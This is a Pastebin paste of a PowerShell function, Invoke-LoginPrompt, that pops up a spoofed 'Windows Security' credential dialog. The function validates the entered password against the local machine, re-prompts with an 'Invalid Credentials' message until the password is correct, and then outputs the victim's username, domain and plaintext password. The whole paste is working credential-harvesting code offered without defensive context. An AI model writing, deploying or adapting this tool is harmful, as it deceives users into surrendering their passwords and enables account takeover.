Guest User

Untitled

a guest
Dec 19th, 2016
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.32 KB | None | 0 0
  1. function Invoke-LoginPrompt{
  2. $cred = $Host.ui.PromptForCredential("Windows Security", "Please enter user credentials", "$env:userdomain\$env:username","")
  3. $username = "$env:username"
  4. $domain = "$env:userdomain"
  5. $full = "$domain" + "\" + "$username"
  6. $password = $cred.GetNetworkCredential().password
  7. Add-Type -assemblyname System.DirectoryServices.AccountManagement
  8. $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
  9. while($DS.ValidateCredentials("$full", "$password") -ne $True){
  10. $cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
  11. $username = "$env:username"
  12. $domain = "$env:userdomain"
  13. $full = "$domain" + "\" + "$username"
  14. $password = $cred.GetNetworkCredential().password
  15. Add-Type -assemblyname System.DirectoryServices.AccountManagement
  16. $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
  17. $DS.ValidateCredentials("$full", "$password") | out-null
  18. }
  19.  
  20. $output = $cred.GetNetworkCredential() | select-object UserName, Domain, Password
  21. $output
  22. }
Add Comment
Please, Sign In to add comment